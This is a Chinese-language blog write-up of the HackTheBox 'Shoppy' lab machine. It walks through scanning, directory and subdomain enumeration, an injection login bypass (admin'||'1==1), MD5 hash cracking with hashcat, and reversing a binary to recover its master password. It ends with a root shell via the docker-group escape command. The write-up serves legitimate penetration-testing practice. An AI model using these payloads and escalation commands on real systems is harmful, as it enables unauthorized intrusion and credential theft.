HackTheBox Shoppy 枚举获得账户密码 docker越权提权

发布于:2022-11-06 ⋅ 阅读:(252) ⋅ 点赞:(0)

前言

csdn吞了我很多文章,以前的一些原创文件也不见了,现在很多文章也发不出来,我把发不出来和消失的文章搬到这个网站上了,欢迎大家来关注我

https://medium.com/@Ba1_Ma0

在这里插入图片描述

开始

在这里插入图片描述

网址:

https://app.hackthebox.com/machines/Shoppy

信息搜集

使用nmap扫描ip

nmap -sC -sV -p- 10.10.11.180

在这里插入图片描述

根据扫描结果,发现了一个域名,我们需要本地dns解析这个域名

echo "10.10.11.180 shoppy.htb" >> /etc/hosts

在这里插入图片描述

网站信息收集

我们需要安装一个字典

apt install seclists

然后枚举网站的目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://shoppy.htb/FUZZ

在这里插入图片描述

发现了后台什么的,我们去浏览器页面看看

在这里插入图片描述

我尝试了一下万能密码,没想到成功了

admin'||'1==1

在这里插入图片描述

登录后台后,右上角有一个搜索用户的图标,我们继续输入万能密码试试

在这里插入图片描述

按下回车后有一个下载的图标

在这里插入图片描述

在这里插入图片描述

这里找到了两个账户密码的hash值,然后我用hashcat爆破,发现admin爆不出来,而josh用户的可以

echo "6ebcea65320589ca4f2f1ce039975995" > hash
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

在这里插入图片描述

我之前爆破过,这里就直接出现密码了,我用这个用户名和密码登录ssh,发现不对,可能还有哪里的信息搜集没做完,这里的用户名和密码可能是另一个网站的,我们可以枚举一下网站的子域名

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

在这里插入图片描述

这里找到一个子域名,我们将他也解析一下

echo "10.10.11.180 mattermost.shoppy.htb" >> /etc/hosts

在这里插入图片描述

然后去浏览器里看看

在这里插入图片描述

发现了一个登录的页面,我们输入之前爆破的用户名和密码试试

在这里插入图片描述

在这里插入图片描述

获取用户权限

成功登录,在这里可以发现ssh的账号和密码,我们ssh登录试试

ssh jaeger@10.10.11.180

在这里插入图片描述

获取root权限

文件静态分析

sudo -l

在这里插入图片描述

我检查了一下当前用户可以使用sudo命令执行什么,发现了一个奇怪的文件,我们将这个文件下载到kali里
注意,这里需要移动到文件的目录里

python3 -m http.server 1234

在这里插入图片描述

然后用kali下载这个文件

wget http://10.10.11.180:1234/password-manager

在这里插入图片描述

获取文件信息

file password-manager

在这里插入图片描述

这是一个64位的可执行文件,然后用radare2静态分析这个程序

r2 password-manager

然后输入指令,定位到主函数地址

aaa  //自动分析并命名函数
afl  //查看程序内的函数

在这里插入图片描述

这里找到了main函数,然后去到main函数的地址并查看汇编代码

s main  //定位到main函数地址
pdf  //查看当前函数的汇编代码

在这里插入图片描述

这是一个c++写的程序,运行程序的之后会输出Welcome to Josh password manager!字符串

在这里插入图片描述

然后输出Please enter your master password:字符串,并接受我们的输入

在这里插入图片描述

在下面,程序会和我们输入的字符和Sample字符一个一个的做对比

在这里插入图片描述

我们输入的字符串是Sample后,会输出Access granted! Here is creds !字符串,表示我们输入正确,然后会执行一个系统命令,查看/home/deploy/creds.txt文件内容

用ida查看文件,也和我们分析的一样

在这里插入图片描述

回到靶机,运行程序,输入Sample

sudo -u deploy ./password-manager

在这里插入图片描述

docker越权提权

我们获得了deploy用户的账号和密码,然后切换账号

su deploy

在这里插入图片描述

在输入id的时候,发现了这个用户在docker组里

在这里插入图片描述

去到这个网站,ctrl+f搜索docker

https://gtfobins.github.io/

在这里插入图片描述

在这里插入图片描述

输入此命令,即可获得root shell

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

**加粗样式**

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到